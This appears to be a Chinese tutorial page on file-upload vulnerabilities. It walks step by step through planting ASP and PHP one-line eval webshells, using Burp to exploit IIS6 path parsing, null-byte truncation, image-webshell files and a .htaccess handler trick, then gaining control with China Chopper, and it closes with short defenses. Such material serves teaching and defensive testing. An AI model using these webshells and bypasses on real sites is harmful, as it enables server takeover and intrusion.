目录路径检测解析绕过上传漏洞 啥意思
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了目录路径检测解析绕过上传漏洞 啥意思相关的知识,希望对你有一定的参考价值。
上传正常图片和WEBShell准备一张普通的图片,使用*.jpg在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg。
打开上传地址,选取上传图片。
小i提示:
上传地址就是可以上传文件的地方
本次实验用的测试网址http://www.test.com作为目标网站
上传成功后,观察返回的页面信息
小i提示:
观察红字部分(上传是否成功,成功为 Upload Successful ,失败这一行会显示失败信息)
观察蓝字部分(上传成功后文件的路径),它的名字是时间戳(通常是一个数字序列,唯一地标识某一刻的时间)加自己的尾缀
准备的是ASP环境,需要使用ASP的一句话,接着来制作一句话,新建一个空文本文档,将ASP的一句话写入到文本中,修改文件名为yijuhua.ASP并保存到桌面。
小i提示:
一句话是一种常见的网站后门,短小精悍,而且功能强大,隐蔽性非常好,在渗透测试过程中始终扮演着强大的作用。
不同的环境需要选取与环境匹配的一句话,一句话中<%eval request[‘这里是密码’]%>,本例中我们以
1 为密码。
上传ASP文件,发现提示错误信息:White List Match Failed--asp ,可能服务器端禁止了尾缀asp的文件上传。
2
利用IIS6解析缺陷绕过上传检测
首先打开BurpLoader,选择 Proxy->Options ,设置BurpLoader代理地址,默认为127.0.0.1、端口:8080。
接着修改Firefox的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1、端口:8080)。
小i提示:
不同浏览器设置代理的方法不相同, 但是设置位置基本类似,此处我们以火狐浏览器为例,首先点击右上角的工具->选项->网络->设置->手动配置代理,填入BurpLoader中设置的代理地址。
设置好浏览器代理后,我们再打开BurpLoader抓包,暂时截获浏览器给服务器发送的数据包,Proxy->Intercept 点击
intercept off 改为intercept on,截获的数据包将在关闭抓包的时候发送给服务端。
查看数据包:其中Content-Disposition:form-data;name=”path”下面的一行为服务保存文件的相对路径,我们把原本的
uploading/ 改为 uploadimg/1.asp;。
小i知识点:
本例用了IIS6.0目录路径检测解析,文件的名字为“*.asp/xxx.jpg”,也同样会被 IIS 当作 ASP文件来解析并执行
首先我们请求 /aaa.asp/xxxx.jpg
从头部查找查找 "."号,获得 .asp/xxxx.jpg
查找"/",如果有则内存截断,所以/aaa.asp/xxxx.jpg会当做/aaa.asp进行解析
修改完成后,关闭抓包(点击intercept on ->intercept off),上传数据,查看浏览器发现上传成功,复制File Name后面的信息(例如:1.asp;14127900008.asp );在前面添加上uploadimg/粘贴复制到网站地址后面,从而构造访问地址(例如:http://www.test.com/uploadimg/1.asp;14127900008.asp
),并复制访问地址。
3
获取WEBShell权限
打开中国菜刀软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1,选择脚本类型为ASP,单击添加按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。
小i 知识点:
中国菜刀,是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀与一句话协作来进行管理
这里可以看见我们刚刚上传的文件,其中有一个空文件夹1.asp;以及其它我们上传的文件。
4
防御方案
1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等
2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名
3.其他限制,服务器端上传目录设置不可执行权限 参考技术A Web应用程序通常会有文件上传的功能, 例如在 BBS发布图片 , 在个人网站发布ZIP 压缩 包, 在办公平台发布DOC文件等 , 只要 Web应用程序允许上传文件, 就有可能存在文件上传漏 洞.
什么样的网站会有文件上传漏洞?
大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 后面我们会讲 到一些常见的解析漏洞, 最后还有一些不常见的其他漏洞, 如 IIS PUT 漏洞等 .
shell上传绕过检测方法
shell上传条件:
1、上传点
2、绝对路径
3、要有权限
开始上传(先试着上传小马,然后在上传大马,因为有时大马更容易被吃掉)
1、直接上传shell,即php文件 (对文件类型不做限制)
2、更改后缀
上传其他允许上传格式的文件例如png、jpg。然后再改后缀php (在前端验证黑白名单)
3、利用解析漏洞(即在文件的绝对路径后加上 /xx.php)
上传例如png的文件,利用解析漏洞 (含有解析漏洞的web服务器)
4、不可识别的后缀
上传例如shell.php.abc文件,服务器因为不能识别abc后缀,所以向前查找可解析的后缀名。
5、00截断
上传类似shell.php.jpg文件,用burpsuit抓包之更改hex值,在hex下找到shell.php.jpg将第二个点的值(我记得是2e)改为00,然后点击forward(将包放行)
6、图片马
在win系统cmd下可以很容易将php文件与jpg或者png文件结合起来,例 copy /b 1.jpg+1.php shell.jpg 即可将图片与码结合起来了,因为有些服务器会检测图片头,若不是图片头是不允许上传的。将图片与码结合起来可以有效的隐藏木马。这里别忘了要上传的是php文件,可以使用以上的那些方法
7、.htaccess 文件攻击上传shell
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
①、写.htaccess文件
需要用到的代码如下:
<FilesMatch "cimer">
SetHandler application/x-httpd一php
</FilesMatch>
(通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字 符串的任意文件。)
然后保存文件(名称、类型如下)
②、上传.htaccess文件
③、将shell后缀改为cimer
④、然后上传shell.cimer
⑤、然后就可以连接了
如果看不懂看以参考 http://www.sohu.com/a/125498727_609556
上传方法很多,也有各种各样的奇葩绕过方法,我知道的也是九牛一毛,这里对奇葩事例记录一下,为防止以后忘记。
事例:海盗云商 会员改头像 burpsuit抓包后在content-type下加上文件大小 就可以getshell
或者上传图片后再加入木马,就可以getshell(这里有一个问题,就 是<?php @eval($_POST[‘aaa‘]) ?> 一句话是没有分号的,有分好 反而不成功)
以上是关于目录路径检测解析绕过上传漏洞 啥意思的主要内容,如果未能解决你的问题,请参考以下文章